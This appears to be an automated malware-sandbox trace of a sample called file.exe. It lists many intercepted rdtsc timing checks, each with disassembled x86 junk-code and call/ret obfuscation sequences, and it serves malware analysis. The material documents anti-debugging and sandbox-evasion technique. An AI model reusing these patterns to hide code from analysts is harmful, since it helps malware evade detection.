Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E07AB second address: 10E07B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E07B1 second address: 10E07BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F5C289E2D1Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E090F second address: 10E0919 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0A62 second address: 10E0A6C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5C289E2D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0A6C second address: 10E0A88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C287768E8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0A88 second address: 10E0A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0BD2 second address: 10E0BEC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5C287768D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F5C287768E0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0BEC second address: 10E0C13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5C289E2D25h 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F5C289E2D18h 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8DCF second address: 10B8DF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5C287768E4h 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8DF8 second address: 10B8E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8E03 second address: 10B8E07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E1518 second address: 10E1539 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5C289E2D27h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E1539 second address: 10E1551 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5C287768D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5C287768DCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E16AB second address: 10E16BA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 je 00007F5C289E2D16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E184B second address: 10E184F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E184F second address: 10E1888 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5C289E2D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F5C289E2D28h 0x00000010 jp 00007F5C289E2D22h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6D9C second address: 10E6DA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6DA0 second address: 10E6DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EA0F4 second address: 10EA10B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E2h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EA10B second address: 10EA12E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jo 00007F5C289E2D16h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jo 00007F5C289E2D18h 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b jbe 00007F5C289E2D16h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AB8D2 second address: 10AB8DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AB8DA second address: 10AB8E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AB8E5 second address: 10AB900 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c jbe 00007F5C287768D6h 0x00000012 pushad 0x00000013 popad 0x00000014 ja 00007F5C287768D6h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AB900 second address: 10AB905 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EED57 second address: 10EED8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5C287768E0h 0x0000000b jmp 00007F5C287768E0h 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F5C287768DEh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EED8F second address: 10EED95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EED95 second address: 10EEDB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5C287768E9h 0x0000000a popad 0x0000000b pushad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEDB8 second address: 10EEDC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEF35 second address: 10EEF3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEF3B second address: 10EEF57 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007F5C289E2D1Ch 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEF57 second address: 10EEF5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF105 second address: 10EF125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5C289E2D23h 0x0000000c jnl 00007F5C289E2D16h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F1D3F second address: 10F1D44 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F1D44 second address: 10F1D73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jng 00007F5C289E2D1Ch 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F5C289E2D21h 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F1FD2 second address: 10F1FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2354 second address: 10F235A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F27C8 second address: 10F27DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C287768E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F27DE second address: 10F282F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F5C289E2D18h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov edi, dword ptr [ebp+122D2B4Dh] 0x0000002b nop 0x0000002c jmp 00007F5C289E2D1Eh 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 jg 00007F5C289E2D16h 0x0000003b jnl 00007F5C289E2D16h 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2987 second address: 10F2991 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5C287768DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2BA1 second address: 10F2BAB instructions: 0x00000000 rdtsc 0x00000002 je 00007F5C289E2D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2DB2 second address: 10F2DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnc 00007F5C287768D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3A25 second address: 10F3AC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5C289E2D28h 0x00000008 jmp 00007F5C289E2D27h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F5C289E2D18h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d mov si, A26Ah 0x00000031 mov edi, 583C7C45h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007F5C289E2D18h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 jns 00007F5C289E2D16h 0x00000058 push 00000000h 0x0000005a mov dword ptr [ebp+122D1D9Fh], edx 0x00000060 xchg eax, ebx 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 push edi 0x00000066 pop edi 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3AC1 second address: 10F3AC7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3AC7 second address: 10F3AD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F5C289E2D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3AD1 second address: 10F3AD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F55E5 second address: 10F55EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F55EF second address: 10F55F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F55F3 second address: 10F5640 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a add esi, dword ptr [ebp+122D1E19h] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F5C289E2D18h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e jmp 00007F5C289E2D1Bh 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 jg 00007F5C289E2D16h 0x0000003d jnc 00007F5C289E2D16h 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5640 second address: 10F5646 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5646 second address: 10F564A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5334 second address: 10F5342 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F5C287768D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F619F second address: 10F61A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F5C289E2D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5F20 second address: 10F5F24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5F24 second address: 10F5F2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5F2A second address: 10F5F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F777E second address: 10F7782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7782 second address: 10F7786 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B72F6 second address: 10B72FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B72FA second address: 10B7305 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F9940 second address: 10F99B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F5C289E2D18h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 jng 00007F5C289E2D17h 0x00000028 cld 0x00000029 push 00000000h 0x0000002b push esi 0x0000002c pop edi 0x0000002d push 00000000h 0x0000002f sbb di, 0EB1h 0x00000034 xchg eax, ebx 0x00000035 jnp 00007F5C289E2D39h 0x0000003b pushad 0x0000003c jmp 00007F5C289E2D1Bh 0x00000041 jmp 00007F5C289E2D26h 0x00000046 popad 0x00000047 push eax 0x00000048 pushad 0x00000049 jg 00007F5C289E2D22h 0x0000004f jmp 00007F5C289E2D1Ch 0x00000054 push eax 0x00000055 push edx 0x00000056 push edx 0x00000057 pop edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FA223 second address: 10FA227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FA227 second address: 10FA22B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF970 second address: 10FF988 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5C287768D6h 0x00000008 jno 00007F5C287768D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007F5C287768D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A69A3 second address: 10A69BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F5C289E2D20h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A69BB second address: 10A69C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FFF9D second address: 1100014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 mov ebx, dword ptr [ebp+122D2BE9h] 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F5C289E2D18h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov edi, dword ptr [ebp+122D2BDDh] 0x00000031 clc 0x00000032 push 00000000h 0x00000034 mov edi, eax 0x00000036 xchg eax, esi 0x00000037 push ecx 0x00000038 pushad 0x00000039 jmp 00007F5C289E2D25h 0x0000003e jp 00007F5C289E2D16h 0x00000044 popad 0x00000045 pop ecx 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F5C289E2D27h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100FD8 second address: 1100FE7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100FE7 second address: 1100FED instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100FED second address: 1101034 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a or bx, 535Bh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F5C287768D8h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b xor dword ptr [ebp+1245BD92h], ebx 0x00000031 mov di, cx 0x00000034 push 00000000h 0x00000036 mov di, si 0x00000039 xchg eax, esi 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102165 second address: 1102169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102169 second address: 110217B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 js 00007F5C287768E4h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110217B second address: 110217F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110237A second address: 110237F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110237F second address: 1102399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C289E2D26h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110339A second address: 110339E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110414C second address: 1104150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104206 second address: 1104210 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5C287768D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104210 second address: 1104226 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C289E2D22h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105FAB second address: 1105FB1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105FB1 second address: 1105FB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A889 second address: 110A88D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A88D second address: 110A89B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A89B second address: 110A89F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A89F second address: 110A8A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A8A5 second address: 110A904 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sub dword ptr [ebp+122D1D38h], esi 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F5C287768D8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c sub bl, 00000049h 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 mov dword ptr [ebp+122D377Dh], edx 0x00000038 pop ebx 0x00000039 mov ebx, ecx 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f push esi 0x00000040 pop esi 0x00000041 jns 00007F5C287768D6h 0x00000047 popad 0x00000048 rdtsc
